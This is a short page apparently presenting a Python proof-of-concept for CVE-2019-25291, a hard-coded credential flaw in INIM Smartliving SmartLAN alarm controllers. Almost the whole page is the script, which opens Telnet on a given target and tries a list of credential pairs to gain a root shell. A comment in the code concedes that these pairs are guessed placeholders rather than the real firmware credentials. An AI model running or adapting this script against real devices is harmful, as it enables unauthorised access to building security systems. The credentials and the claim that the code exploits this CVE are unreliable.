CVE-2019-25291 INIM Smartliving SmartLAN 硬编码凭证漏洞

#!/usr/bin/env python3 """ CVE-2019-25291 PoC - INIM Smartliving SmartLAN Hard-coded Credentials Reference: https://www.exploit-db.com/exploits/47763 """ import socket import sys def exploit_target(host, port=80): """ Exploit hard-coded credentials in INIM Smartliving SmartLAN/G/SI Default hard-coded credentials are embedded in the firmware """ # Common hard-coded credential patterns found in firmware analysis # Note: Actual credentials should be extracted from firmware dump default_credentials = [ {'user': 'root', 'pass': 'password123'}, {'user': 'admin', 'pass': 'admin'}, {'user': 'inim', 'pass': 'inim2019'} ] print(f"[*] Target: {host}:{port}") print(f"[*] CVE-2019-25291: INIM Smartliving Hard-coded Credentials") # Attempt to connect via Telnet (common attack vector) try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) result = sock.connect_ex((host, 23)) if result == 0: print("[+] Telnet port open, attempting authentication...") # Banner grab banner = sock.recv(1024) print(f"[*] Banner: {banner.decode('utf-8', errors='ignore')}") for cred in default_credentials: sock.send(f"{cred['user']}\n".encode()) import time time.sleep(0.5) sock.send(f"{cred['pass']}\n".encode()) time.sleep(1) response = sock.recv(4096) if b'#' in response or b'$' in response or b'root' in response: print(f"[!] SUCCESS: Authenticated with {cred['user']}:{cred['pass']}") print("[!] Root access gained via hard-coded credential!") return True else: print("[-] Telnet not accessible") sock.close() except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip>") sys.exit(1) target = sys.argv[1] exploit_target(target)